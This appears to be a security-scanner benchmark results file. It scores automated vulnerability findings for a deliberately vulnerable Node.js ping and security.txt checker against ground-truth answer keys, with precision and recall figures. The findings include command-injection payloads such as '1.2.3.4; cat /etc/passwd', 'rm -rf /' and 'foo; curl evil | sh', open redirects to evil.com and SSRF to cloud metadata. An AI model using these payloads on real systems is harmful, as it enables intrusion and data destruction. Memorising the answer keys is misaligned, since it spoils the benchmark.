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Inputs like '1.2.3.4; cat /etc/passwd' or 'a; id' (which starts with a hex char matching the IPv6 pattern /^[0-9a-fA-F:]+/) pass validation and are interpolated directly into the shell command `ping -c 4 -W 5 ${host}`, allowing arbitrary OS command execution."},{"id":"found-1","type":"open-redirect","severity":"high","file":"server.js","line":218,"description":"The /visitPage handler uses req.query.referer directly in res.redirect() without any scheme or origin validation. safeRedirectPath() is defined (line 56) but never called. An attacker can redirect users to arbitrary external URLs (e.g., /visitPage?referer=https://evil.com) or javascript: URIs. A missing return statement also causes a double-response when the anti-loop guard fires."},{"id":"found-2","type":"ssrf","severity":"high","file":"server.js","line":139,"description":"fetchSecurityTxtMeta() fetches user-supplied HTTPS origins with redirect:follow and no blocklist for private/reserved IP ranges. Requests to https://127.0.0.1/, https://192.168.x.x/, https://10.x.x.x/, and https://169.254.169.254/ (cloud metadata endpoints) all pass the isSafePingHost() check and are fetched by the server."},{"id":"found-3","type":"hardcoded-credentials","severity":"high","file":"server.js","line":34,"description":"The express-session signing secret 'viuvsubvsdaf2392379y8239h2r3ifubviufbv' is hardcoded in source. Any party with repository access can forge valid session cookies."},{"id":"found-4","type":"insecure-transport","severity":"medium","file":"server.js","line":38,"description":"Session cookie is configured with secure:false, allowing it to be transmitted over unencrypted HTTP. The maxAge of 99999999999 ms (~1157 days) creates an excessively long-lived session. No sameSite attribute is set, increasing CSRF exposure."},{"id":"found-5","type":"csrf","severity":"medium","file":"server.js","line":221,"description":"The POST /check endpoint has no CSRF token validation. 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A malicious server returning a multi-gigabyte response will exhaust server heap before any truncation occurs."},{"id":"found-7","type":"information-exposure","severity":"low","file":"server.js","line":266,"description":"The global error handler returns err.message directly in HTTP responses, potentially leaking internal file paths, library internals, or stack trace fragments to clients."},{"id":"found-8","type":"information-exposure","severity":"low","file":"server.js","line":181,"description":"The server's internal hostname (os.hostname()), precise start time, and uptime are rendered in the home page and account page for all unauthenticated visitors, aiding reconnaissance."}],"truePositives":[{"id":"js-command-injection-5","type":"command-injection","severity":"high"},{"id":"js-open-redirect-5","type":"open-redirect","severity":"medium"},{"id":"js-ssrf-5","type":"ssrf","severity":"high"},{"id":"js-hardcoded-secret-5","type":"hardcoded-credentials","severity":"high"},{"id":"js-csrf-missing-5","type":"csrf","severity":"medium"},{"id":"js-alloc-without-limits-5a","type":"allocation-of-resources-without-limits-or-throttling","severity":"medium"},{"id":"js-cookie-secure-flag-false-5","type":"information-exposure","severity":"low"},{"id":"js-xpowered-by-header-5","type":"information-exposure","severity":"medium"}],"falsePositives":[{"id":"found-4","type":"insecure-transport","severity":"medium","file":"server.js","line":38,"description":"Session cookie is configured with secure:false, allowing it to be transmitted over unencrypted HTTP. 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The isSafePingHost validation uses regexes without end anchors ($), so inputs like '1.2.3.4; cat /etc/passwd' or 'example.com; id' pass validation and get executed as shell commands."},{"id":"found-1","type":"command-injection","severity":"critical","file":"server.js","line":75,"description":"isSafePingHost() uses the IPv4 regex /^(\\d{1,3}\\.){3}\\d{1,3}/ without a terminal $ anchor, allowing strings like '1.2.3.4; rm -rf /' to pass validation. Similarly, the IPv6 regex (/^[0-9a-fA-F:]+/) and hostname regex are also missing end anchors, enabling shell metacharacter injection for all input types."},{"id":"found-2","type":"open-redirect","severity":"high","file":"server.js","line":218,"description":"The /visitPage route redirects to the raw req.query.referer value without calling safeRedirectPath() or any other validation. The existing guard block (lines 211-217) also lacks a 'return' statement, so res.redirect(target) on line 218 is always executed regardless of the guard, allowing an attacker to redirect users to arbitrary external URLs (e.g., ?referer=https://evil.com)."},{"id":"found-3","type":"ssrf","severity":"high","file":"server.js","line":139,"description":"fetchSecurityTxtMeta() fetches a user-controlled URL. The isSafePingHost() validator does not block private or reserved IP ranges (127.0.0.1, 169.254.169.254, 10.x.x.x, 192.168.x.x, etc.), so an attacker can supply https://169.254.169.254/ to probe cloud metadata endpoints or internal services. The ping operation via runPing() similarly reaches internal network hosts."},{"id":"found-4","type":"hardcoded-credentials","severity":"high","file":"server.js","line":34,"description":"The express-session secret is hardcoded as 'viuvsubvsdaf2392379y8239h2r3ifubviufbv'. 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The maxAge of 99999999999ms (~3.17 years) makes stolen sessions valid for an excessively long period."},{"id":"found-7","type":"information-exposure","severity":"low","file":"server.js","line":176,"description":"The index page exposes server hostname (os.hostname()), process uptime, and server start time to all unauthenticated users. The account page exposes the raw session ID. These details aid attackers in reconnaissance and session-related attacks."},{"id":"found-8","type":"allocation-of-resources-without-limits-or-throttling","severity":"low","file":"server.js","line":139,"description":"fetchSecurityTxtMeta() calls the global fetch() with no AbortSignal/timeout. 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The only checks guard against empty values or self-references to /visitPage, allowing redirection to arbitrary external URLs (e.g., /visitPage?referer=https://attacker.com). Additionally, the if-block at line 211-217 lacks a return statement, so res.redirect(target) on line 218 is always executed."},{"id":"found-3","type":"ssrf","severity":"high","file":"server.js","line":139,"description":"fetchSecurityTxtMeta() makes an outbound HTTP request to a URL derived from user input without blocking private/internal IP ranges. Attackers can supply https://127.0.0.1/, https://169.254.169.254/ (AWS metadata), or any RFC-1918 address. redirect:'follow' further allows SSRF via open redirect chains, and the full response body (up to 64 KB) is returned to the attacker."},{"id":"found-4","type":"hardcoded-credentials","severity":"medium","file":"server.js","line":34,"description":"The express-session secret ('viuvsubvsdaf2392379y8239h2r3ifubviufbv') is hardcoded in source code. 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The session ID in particular should never be rendered in page content."}],"truePositives":[{"id":"js-command-injection-5","type":"command-injection","severity":"high"},{"id":"js-open-redirect-5","type":"open-redirect","severity":"medium"},{"id":"js-ssrf-5","type":"ssrf","severity":"high"},{"id":"js-hardcoded-secret-5","type":"hardcoded-credentials","severity":"high"},{"id":"js-csrf-missing-5","type":"csrf","severity":"medium"},{"id":"js-cookie-secure-flag-false-5","type":"information-exposure","severity":"low"}],"falsePositives":[{"id":"found-1","type":"command-injection","severity":"critical","file":"server.js","line":75,"description":"All three regex patterns in isSafePingHost() (IPv4 at line 75, IPv6 at line 77, hostname at line 79-81) lack end anchors ($). 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The isSafePingHost validator uses regexes with no end-of-string anchors (no `$`), so inputs like `1.2.3.4; cat /etc/passwd` or `example.com && id` pass validation and execute arbitrary shell commands."},{"id":"found-1","type":"command-injection","severity":"critical","file":"server.js","line":75,"description":"The IPv4 regex `/^(\\d{1,3}\\.){3}\\d{1,3}/` in isSafePingHost is missing a `$` end anchor, allowing any string that starts with an IPv4 prefix (e.g. `1.2.3.4; rm -rf /`) to pass host validation and be injected into the shell command."},{"id":"found-2","type":"command-injection","severity":"critical","file":"server.js","line":80,"description":"The hostname regex in isSafePingHost is missing a `$` end anchor, so inputs like `example.com; id` pass validation and can be injected into the shell command constructed in runPing."},{"id":"found-3","type":"open-redirect","severity":"high","file":"server.js","line":218,"description":"The GET /visitPage route redirects to `req.query.referer` without any path safety check. The safeRedirectPath() function is defined but never called here. An attacker can craft `/visitPage?referer=https://evil.com` to redirect users to arbitrary external URLs."},{"id":"found-4","type":"open-redirect","severity":"high","file":"server.js","line":215,"description":"Missing `return` after `res.redirect(302, '/')` inside the protective if-block in the /visitPage handler. Execution always falls through to `res.redirect(target)` on line 218, making the safety check completely ineffective and the open redirect unconditional."},{"id":"found-5","type":"ssrf","severity":"high","file":"server.js","line":139,"description":"fetchSecurityTxtMeta() fetches a user-controlled HTTPS URL with no restriction on private or internal IP ranges. An attacker can provide `https://127.0.0.1/admin`, `https://169.254.169.254/latest/meta-data/` (AWS IMDS), or any internal host to exfiltrate data or probe internal services."},{"id":"found-6","type":"hardcoded-credentials","severity":"high","file":"server.js","line":34,"description":"The express-session secret `viuvsubvsdaf2392379y8239h2r3ifubviufbv` is hardcoded in source code. Anyone with access to the repository can use this secret to forge valid session cookies and impersonate any user."},{"id":"found-7","type":"prototype-pollution","severity":"medium","file":"server.js","line":143,"description":"HTTP response headers from a remote (potentially attacker-controlled) server are assigned into a plain `{}` object without filtering reserved keys. If the remote server returns a header named `__proto__`, `constructor`, or `prototype`, the assignment `headers[key] = value` can pollute the JavaScript object prototype chain."},{"id":"found-8","type":"csrf","severity":"medium","file":"server.js","line":221,"description":"The POST /check endpoint has no CSRF token or SameSite cookie protection. A malicious third-party page can silently trigger server-side ping and HTTPS fetch operations against arbitrary hosts on behalf of a logged-in user, amplifying the SSRF risk."},{"id":"found-9","type":"insecure-transport","severity":"medium","file":"server.js","line":38,"description":"The session cookie is configured with `secure: false`, allowing it to be transmitted over unencrypted HTTP connections. This exposes the session token to network interception (e.g. MITM attacks on non-HTTPS connections)."},{"id":"found-10","type":"allocation-of-resources-without-limits-or-throttling","severity":"medium","file":"server.js","line":221,"description":"The POST /check endpoint performs both a shell ping (child_process.exec) and an outbound HTTPS fetch per request with no rate limiting, authentication, or concurrency controls. An attacker can flood the endpoint to exhaust server CPU, file descriptors, and outbound network connections."},{"id":"found-11","type":"allocation-of-resources-without-limits-or-throttling","severity":"low","file":"server.js","line":39,"description":"Session cookie maxAge is set to 99999999999 milliseconds (~3,170 years). Sessions effectively never expire, meaning a stolen or leaked session token remains valid indefinitely, greatly extending the window for session hijacking."},{"id":"found-12","type":"information-exposure","severity":"low","file":"server.js","line":202,"description":"The raw session ID (req.sessionID) is passed to the template and rendered on the /account page, exposing it directly to the authenticated user's browser. If reflected in logs, error pages, or accessible to XSS, this facilitates session hijacking."},{"id":"found-13","type":"information-exposure","severity":"low","file":"views/account.hbs","line":12,"description":"The session ID is displayed in plain text in the Account/session page UI (`<code>{{sessionID}}</code>`), unnecessarily exposing a sensitive authentication token to the user and any shoulder-surfing observer or screen recording."},{"id":"found-14","type":"information-exposure","severity":"low","file":"views/index.hbs","line":8,"description":"The server's OS hostname (`os.hostname()`) is rendered on the public home page, leaking internal infrastructure naming that could assist an attacker in reconnaissance."}],"truePositives":[{"id":"js-command-injection-5","type":"command-injection","severity":"high"},{"id":"js-open-redirect-5","type":"open-redirect","severity":"medium"},{"id":"js-ssrf-5","type":"ssrf","severity":"high"},{"id":"js-hardcoded-secret-5","type":"hardcoded-credentials","severity":"high"},{"id":"js-csrf-missing-5","type":"csrf","severity":"medium"},{"id":"js-alloc-without-limits-5a","type":"allocation-of-resources-without-limits-or-throttling","severity":"medium"},{"id":"js-alloc-without-limits-5b","type":"allocation-of-resources-without-limits-or-throttling","severity":"medium"},{"id":"js-cookie-secure-flag-false-5","type":"information-exposure","severity":"low"},{"id":"js-xpowered-by-header-5","type":"information-exposure","severity":"medium"}],"falsePositives":[{"id":"found-1","type":"command-injection","severity":"critical","file":"server.js","line":75,"description":"The IPv4 regex `/^(\\d{1,3}\\.){3}\\d{1,3}/` in isSafePingHost is missing a `$` end anchor, allowing any string that starts with an IPv4 prefix (e.g. `1.2.3.4; rm -rf /`) to pass host validation and be injected into the shell command."},{"id":"found-2","type":"command-injection","severity":"critical","file":"server.js","line":80,"description":"The hostname regex in isSafePingHost is missing a `$` end anchor, so inputs like `example.com; id` pass validation and can be injected into the shell command constructed in runPing."},{"id":"found-4","type":"open-redirect","severity":"high","file":"server.js","line":215,"description":"Missing `return` after `res.redirect(302, '/')` inside the protective if-block in the /visitPage handler. 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An attacker can append shell metacharacters (e.g., ?host=127.0.0.1; cat /etc/passwd or ?host=127.0.0.1 && rm -rf /) to execute arbitrary operating system commands as the Node.js process user."},{"id":"found-5","type":"xss","severity":"medium","file":"app.js","line":47,"description":"The /ping endpoint returns the raw stdout of the ping command inside an HTML <pre> tag without HTML-encoding. Because the host parameter is attacker-controlled (and subject to command injection), the stdout output can contain attacker-crafted content that injects HTML/JavaScript into the browser response."},{"id":"found-6","type":"information-exposure","severity":"low","file":"app.js","line":18,"description":"The dbQuery helper logs the full SQL query string to console (console.log('Query:', sql)). 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An attacker can inject arbitrary shell commands by sending a crafted package value (e.g. 'foo; curl evil | sh')."},{"id":"found-1","type":"improper-type-validation","severity":"medium","file":"app.js","line":21,"description":"req.body.package is used without type or content validation. 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Also missing 'return' after the guard redirect at line 216 causes double-redirect. Attacker-supplied absolute URLs like https://evil.com are followed, enabling phishing."},{"id":"found-1","type":"command-injection","severity":"critical","file":"server.js","line":122,"description":"runPing interpolates ${host} directly into a shell command via exec. The isSafePingHost regexes are unanchored at the end (/^(\\d{1,3}\\.){3}\\d{1,3}/ and /^[0-9a-fA-F:]+/), allowing inputs like '1.1.1.1; id' or '::1;rm -rf /' to pass validation and be executed by the shell."},{"id":"found-2","type":"ssrf","severity":"high","file":"server.js","line":138,"description":"fetchSecurityTxtMeta performs a server-side HTTPS request to a user-controlled host with no allowlist and no block of private/loopback/link-local IP ranges (e.g., 127.0.0.1, 169.254.169.254 AWS metadata, 10.0.0.0/8). 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Also redirect:'follow' has no max-redirect limit, and the app has no per-IP rate limiting on the expensive /check endpoint."},{"id":"found-8","type":"redos","severity":"low","file":"server.js","line":80,"description":"Hostname validation regex /^[a-zA-Z0-9]([a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(\\.[a-zA-Z0-9]([a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*/ contains nested optional quantifiers within a repeated group, susceptible to catastrophic backtracking on crafted inputs."},{"id":"found-9","type":"improper-type-validation","severity":"low","file":"server.js","line":223,"description":"parseTarget receives req.body.target without checking that it is a string. If a client sends a non-string body (e.g., via crafted urlencoded array notation parsed by other middleware), (raw||'').trim() can throw or bypass startsWith() validation."},{"id":"found-10","type":"other","severity":"low","file":"server.js","line":36,"description":"Session fixation risk: saveUninitialized:true creates sessions for anonymous visitors, and there is no req.session.regenerate() on privilege change. Combined with a 3-year cookie lifetime, this enables long-lived session tracking and fixation."}],"truePositives":[{"id":"js-open-redirect-5","type":"open-redirect","severity":"medium"},{"id":"js-command-injection-5","type":"command-injection","severity":"high"},{"id":"js-ssrf-5","type":"ssrf","severity":"high"},{"id":"js-hardcoded-secret-5","type":"hardcoded-credentials","severity":"high"},{"id":"js-csrf-missing-5","type":"csrf","severity":"medium"},{"id":"js-cookie-secure-flag-false-5","type":"information-exposure","severity":"low"},{"id":"js-alloc-without-limits-5a","type":"allocation-of-resources-without-limits-or-throttling","severity":"medium"},{"id":"js-improper-type-validation-5","type":"improper-type-validation","severity":"low"}],"falsePositives":[{"id":"found-4","type":"insecure-transport","severity":"medium","file":"server.js","line":38,"description":"Session cookie configured with secure:false (transmitted over plain HTTP), no sameSite attribute, and excessive maxAge (~3 years). Enables session theft over network and CSRF facilitation."},{"id":"found-8","type":"redos","severity":"low","file":"server.js","line":80,"description":"Hostname validation regex /^[a-zA-Z0-9]([a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(\\.[a-zA-Z0-9]([a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*/ contains nested optional quantifiers within a repeated group, susceptible to catastrophic backtracking on crafted inputs."},{"id":"found-10","type":"other","severity":"low","file":"server.js","line":36,"description":"Session fixation risk: saveUninitialized:true creates sessions for anonymous visitors, and there is no req.session.regenerate() on privilege change. Combined with a 3-year cookie lifetime, this enables long-lived session tracking and fixation."}],"falseNegatives":[{"id":"js-xpowered-by-header-5","type":"information-exposure","severity":"medium"},{"id":"js-alloc-without-limits-5b","type":"allocation-of-resources-without-limits-or-throttling","severity":"medium"},{"id":"js-alloc-without-limits-5c","type":"allocation-of-resources-without-limits-or-throttling","severity":"medium"}],"precision":0.7272727272727273,"recall":0.7272727272727273,"byType":{"improper-type-validation":{"total":1,"found":1,"precision":1,"recall":1,"f1":1},"information-exposure":{"total":2,"found":1,"precision":1,"recall":0.5,"f1":0.6666666666666666},"csrf":{"total":1,"found":1,"precision":1,"recall":1,"f1":1},"allocation-of-resources-without-limits-or-throttling":{"total":3,"found":1,"precision":1,"recall":0.3333333333333333,"f1":0.5},"open-redirect":{"total":1,"found":1,"precision":1,"recall":1,"f1":1},"command-injection":{"total":1,"found":1,"precision":1,"recall":1,"f1":1},"hardcoded-credentials":{"total":1,"found":1,"precision":1,"recall":1,"f1":1},"ssrf":{"total":1,"found":1,"precision":1,"recall":1,"f1":1},"insecure-transport":{"total":0,"found":0,"precision":0,"recall":0,"f1":0},"redos":{"total":0,"found":0,"precision":0,"recall":0,"f1":0},"other":{"total":0,"found":0,"precision":0,"recall":0,"f1":0}},"bySeverity":{"low":{"total":2,"found":2,"precision":0.5,"recall":1,"f1":0.6666666666666666},"medium":{"total":6,"found":3,"precision":0.75,"recall":0.5,"f1":0.6},"high":{"total":3,"found":3,"precision":1,"recall":1,"f1":1}}}}
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Hosts are not restricted against private/internal/link-local IPs (e.g., 127.0.0.1, 169.254.169.254, 10.0.0.0/8), and 'redirect: follow' is enabled, allowing the server to be coerced into requesting internal services."},{"id":"found-5","type":"allocation-of-resources-without-limits-or-throttling","severity":"medium","file":"server.js","line":221,"description":"/check endpoint spawns child processes (ping) and performs outbound HTTP fetches with no rate limiting or authentication, allowing an attacker to exhaust CPU/memory/file descriptors."},{"id":"found-6","type":"csrf","severity":"low","file":"server.js","line":221,"description":"POST /check has no CSRF protection (no token, no SameSite cookie setting). External sites can submit forms triggering server-side ping and security.txt fetches on behalf of a logged session."},{"id":"found-7","type":"information-exposure","severity":"low","file":"server.js","line":180,"description":"Server hostname and process uptime/start time are exposed to unauthenticated users on the index and account pages, leaking internal infrastructure details."},{"id":"found-8","type":"redos","severity":"low","file":"server.js","line":80,"description":"Hostname validation regex uses nested quantifiers with optional groups and an outer * over '\\.[a-zA-Z0-9](...)?': pathological inputs may cause superlinear backtracking despite the inner {0,61} bound."}],"truePositives":[{"id":"js-command-injection-5","type":"command-injection","severity":"high"},{"id":"js-hardcoded-secret-5","type":"hardcoded-credentials","severity":"high"},{"id":"js-open-redirect-5","type":"open-redirect","severity":"medium"},{"id":"js-ssrf-5","type":"ssrf","severity":"high"},{"id":"js-alloc-without-limits-5a","type":"allocation-of-resources-without-limits-or-throttling","severity":"medium"},{"id":"js-csrf-missing-5","type":"csrf","severity":"medium"},{"id":"js-cookie-secure-flag-false-5","type":"information-exposure","severity":"low"}],"falsePositives":[{"id":"found-2","type":"insecure-transport","severity":"medium","file":"server.js","line":38,"description":"Session cookie configured with secure: false, allowing the session cookie to be transmitted over plaintext HTTP and intercepted."},{"id":"found-8","type":"redos","severity":"low","file":"server.js","line":80,"description":"Hostname validation regex uses nested quantifiers with optional groups and an outer * over '\\.[a-zA-Z0-9](...)?': pathological inputs may cause superlinear backtracking despite the inner {0,61} bound."}],"falseNegatives":[{"id":"js-improper-type-validation-5","type":"improper-type-validation","severity":"low"},{"id":"js-xpowered-by-header-5","type":"information-exposure","severity":"medium"},{"id":"js-alloc-without-limits-5b","type":"allocation-of-resources-without-limits-or-throttling","severity":"medium"},{"id":"js-alloc-without-limits-5c","type":"allocation-of-resources-without-limits-or-throttling","severity":"medium"}],"precision":0.7777777777777778,"recall":0.6363636363636364,"byType":{"improper-type-validation":{"total":1,"found":0,"precision":0,"recall":0,"f1":0},"information-exposure":{"total":2,"found":1,"precision":1,"recall":0.5,"f1":0.6666666666666666},"csrf":{"total":1,"found":1,"precision":1,"recall":1,"f1":1},"allocation-of-resources-without-limits-or-throttling":{"total":3,"found":1,"precision":1,"recall":0.3333333333333333,"f1":0.5},"open-redirect":{"total":1,"found":1,"precision":1,"recall":1,"f1":1},"command-injection":{"total":1,"found":1,"precision":1,"recall":1,"f1":1},"hardcoded-credentials":{"total":1,"found":1,"precision":1,"recall":1,"f1":1},"ssrf":{"total":1,"found":1,"precision":1,"recall":1,"f1":1},"insecure-transport":{"total":0,"found":0,"precision":0,"recall":0,"f1":0},"redos":{"total":0,"found":0,"precision":0,"recall":0,"f1":0}},"bySeverity":{"low":{"total":2,"found":1,"precision":0.5,"recall":0.5,"f1":0.5},"medium":{"total":6,"found":3,"precision":0.75,"recall":0.5,"f1":0.6},"high":{"total":3,"found":3,"precision":1,"recall":1,"f1":1}}}}
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The isSafePingHost regexes are not anchored at the end (no $), so payloads like '1.1.1.1; whoami' pass validation and execute arbitrary shell commands."},{"id":"found-1","type":"ssrf","severity":"high","file":"server.js","line":139,"description":"fetchSecurityTxtMeta() fetches a URL derived from user input with redirect:'follow' and returns body/headers. No allow-list or private-IP blocking, allowing requests to internal services (127.0.0.1, 169.254.169.254, RFC1918) and exfiltration of responses."},{"id":"found-2","type":"open-redirect","severity":"high","file":"server.js","line":218,"description":"/visitPage performs res.redirect(req.query.referer) with no validation. The existing safeRedirectPath() helper is not invoked, and a missing return after the first redirect means even matched cases still execute the second redirect. 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